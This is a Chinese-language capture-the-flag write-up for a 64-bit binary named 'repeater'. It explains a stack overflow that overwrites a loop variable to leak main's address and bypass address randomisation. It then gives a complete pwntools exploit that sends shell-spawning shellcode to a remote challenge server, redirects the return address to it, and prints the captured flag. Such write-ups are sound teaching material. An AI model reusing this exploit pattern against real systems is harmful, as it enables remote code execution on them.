没开NX和canary,64位,动态编译,IDA分析
分析
这里主要有5处需要注意,图中已经标注。
首先看到4处,即read(0, s, 0x40uLL);结合1处可以知道s为ebp-30h,而这里确为40h,因此存在溢出点
再看v5,当v5=3281697时,会打印main函数地址,这很重要,因为开了地址随机化,我们并不知道main函数地址,而这里能告诉我们,并且可以看到v5和s相差0x20h,可以根据此对v5进行修改。
最后看到3处sub_982(byte_202040, 48LL); byte_202040在bss段的202040处,而这里存放我们第一次输入的东西
题目正常流程:puts(“Please give me your name :”)后我们输入我们的name并存在bas的0x202040处,然后循环v5大小次不断的获取我们的输入(输出read处存在漏洞)
解法
该题解法思路:在name处输入构造的shellcode,这里会将shellcode存入(0x202040),然后通过read函数漏洞修改v5的值,使v5=3281697,在修改v5的值使v5=0,使其退出循环,并且将返回地址指向0x202040,去执行我们的shellcode
其中最难的一步就是找到程序运行时的是shellcode的真实地址,但我们知道shellcode的偏移地址为0x202040,因此只要我们知道整个程序的基地址就能计算得到shellcode真实地址。而基地址=main函数真实地址-main偏移地址,main函数真实地址可以被输出,而main偏移地址查看IDA可知为0xa33
完整代码
from pwn import *
context.log_level = True
context.arch = 'amd64'
# io = process('./repeater')
io = remote("61.147.171.105",50509)
# 构造shellcode
shellcode = asm(shellcraft.sh())
io.sendlineafter("Please give me your name :", shellcode)
# 修改v5 = 3281697
payload = b'A'*0x20 + p64(0x321321) # 0x321321:3281697
io.sendlineafter("input :", payload)
io.readuntil('But there is gift for you :\n')
main_addr = int(io.recvuntil("\n"),16)
base_addr = main_addr - 0xa33 # 我们要找到程序的基地址,基地址+bss偏移地址就是shellcode最终实际地址
log.info("base_addr: "+ hex(base_addr))
# 修改v5=0退出循环,并且将返回值指向shellcode地址
payload = b'A'*0x20 + p64(0) + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(base_addr + 0x202040)
io.sendlineafter("input :", payload)
io.interactive()
flag:cyberpeace{8500968831bfb129ab815629d4daf8e2}